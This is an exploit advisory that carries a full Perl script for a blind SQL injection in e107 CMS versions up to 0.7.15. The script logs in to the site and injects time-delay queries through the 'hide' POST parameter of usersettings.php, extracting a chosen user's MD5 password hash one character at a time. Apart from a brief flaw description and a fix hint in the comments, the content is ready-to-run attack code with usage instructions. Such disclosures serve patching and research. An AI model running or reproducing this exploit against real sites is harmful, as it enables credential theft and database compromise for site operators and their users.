e107 <= 0.7.15 (extended_user_fields) Blind SQL Injection Exploit

2009.04.25
Credit: Juri Gianni
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 5.1/10
Impact Subscore: 6.4/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/env perl # # e107 <= 0.7.15 "extended_user_fields" Blind SQL Injection Exploit # # Description # ------------------------------------------------------------------- # e107 contains one flaw that allows an attacker to carry out an SQL # injection attack. The issue is due to the "usersettings.php" script # not properly saniting user-supplied input to the hide[] key. # This may allow an attacker to inject or manipulate sql queries in # the backend database if magic_quotes_gpc = off. # ------------------------------------------------------------------- # Code Details (usersettings.php) # ------------------------------------------------------------------- # Line 433 - 441 # # if($ue_fields) { # $hidden_fields = implode("^", array_keys($_POST['hide'])); <------ {1} # # if($hidden_fields != "") # { # $hidden_fields = "^".$hidden_fields."^"; # } # $ue_fields .= ", user_hidden_fields = '".$hidden_fields."'"; <---- {2} # } # # Line 470 - 476 # # if($ue_fields) # { # [etc..] # $sql->db_Update("user_extended", $ue_fields." WHERE user_extended_id = '".intval($inp)."'"); # } # # ue[] POST variable needs a valid key # such as "aim","msn" or other user_extended_fields # (@fields array). # # Fix this sql injection using (php function) # mysql_real_escape_string to the POST 'hide' key, # otherwise find a way to fix it. dont care # ------------------------------------------ # Discovered & Written # by Juri Gianni aka yeat - staker[at]hotmail[dot]it # # Thanks to # --------------------------------------------- # JosS,girex,str0ke,certaindeath,plucky # #zeroidentity chan - http://zeroidentity.org # --------------------------------------------- # http://www.youtube.com/watch?v=0rgInHvW8Ic # http://www.youtube.com/watch?v=O2y62xcUJ8E # --------------------------------------------- use LWP::UserAgent; my $prefix = "e107_"; # default table_prefix my $type_i = undef; my $sock_u = new LWP::UserAgent; my ($domain,$user_name,$user_pwd,$target) = @ARGV; e107::Usage() unless scalar (@ARGV) > 3; e107::Login($user_name,$user_pwd); $type_i = e107::ExtendedField(); e107::Exploit(); sub e107::Usage { print "e107 <= 0.7.15 'extended_user_fields' Blind SQL Injection Exploit\n"; print "Usage: perl xpl.pl http://[host]/[path] [username] [password] [target id]\n"; print "Usage: perl xpl.pl http://localhost/e107 yeat an4rchy 1\n"; exit; } sub e107::Exploit { e107::Vulnerable(); e107::BruteForce(); } sub e107::SqlQuery { my ($do_query,$response,$start,$down,$element); $do_query = $_[0] || die $!; $start = time(); $response = $sock_u->post($domain.'/usersettings.php', [ "email" => 'doesnt@exists.net', "ue[user_$type_i]" => 1, "hide[$do_query]" => 1, "updatesettings" => 'Save Settings', ]) or die $!; $down = time(); return $down - $start; } sub e107::CheckField { my ($do_query,$response,$start,$down,$element); $do_query = $_[0]; $element = $_[1] || die $!; $start = time(); $response = $sock_u->post($domain.'/usersettings.php', [ "email" => 'doesnt@exists.net', "ue[user_$element]" => 1, "hide[$do_query]" => 1, "updatesettings" => 'Save Settings', ]) or die $!; $down = time(); return $down - $start; } sub e107::ExtendedField { my @fields = ('yeat','aim','birthday','icq','language','location','msn','yahoo','homepage'); my $query = "\x27/**/OR/**/CASE/**/WHEN(1>0)/**/THEN". "/**/benchmark(100000000,CHAR(0))/**/END#"; for (my $i=1;$i<8;$i++) { if (e107::CheckField($query,$fields[$i]) > 6) { return $fields[$i]; last; } unless ($i != 8 && $fields[$i]) { die("Site not vulnerable..\n"); } } } sub e107::SqlBrute { my $ascii = $_[0]; my $limit = $_[1] || 1; my $sql_query = "\x27/**/OR/**/(SELECT/**/IF((ASCII(SUBSTRING(user_password,$limit,1))". "=$ascii),benchmark(200000000,CHAR(0)),0)/**/FROM/**/${prefix}user/**/". "WHERE/**/user_id=$target)#"; return $sql_query; } sub e107::BruteForce { my $i = 1; my @charset = (97..102,48..57); my $convert = undef; my $result = undef; for ($i..32) { foreach $convert (@charset) { if (e107::SqlQuery(e107::SqlBrute($convert,$i)) > 9) { syswrite(STDOUT,chr($convert)); $i++; last; $result .= chr($convert); } } } unless (length($result) != 32) { print "\nHash MD5: $result\n"; print "User ID: $target\n"; } } sub e107::Vulnerable { my @fields = ('yeat','aim','birthday','icq','language','location','msn','yahoo','homepage'); for (my $i=1;$i<8;$i++) { if ($fields[$i] eq $type_i) { print "Exploiting..\n"; last; } else { die ("Site not vulnerable..\n"); } } } sub e107::Login { my ($username,$password) = @_; my ($result,$response); $response = $sock_u->post($domain.'/signup.php', [ username => $username, userpass => $password, userlogin => 'Login', autologin => 0 ]) or die $!; $result = $response->as_string; if ($result =~ /e107cookie=(\d+)\.([0-9a-f]{32})/i) { $sock_u->default_header('Cookie' => "e107cookie=$1.$2;"); $sock_u->agent('Lynx (textmode) - Logged'); } else { die("Login failed..\n"); } }

References:

http://xforce.iss.net/xforce/xfdb/49981
http://www.securityfocus.com/bid/34614
http://www.milw0rm.com/exploits/8495


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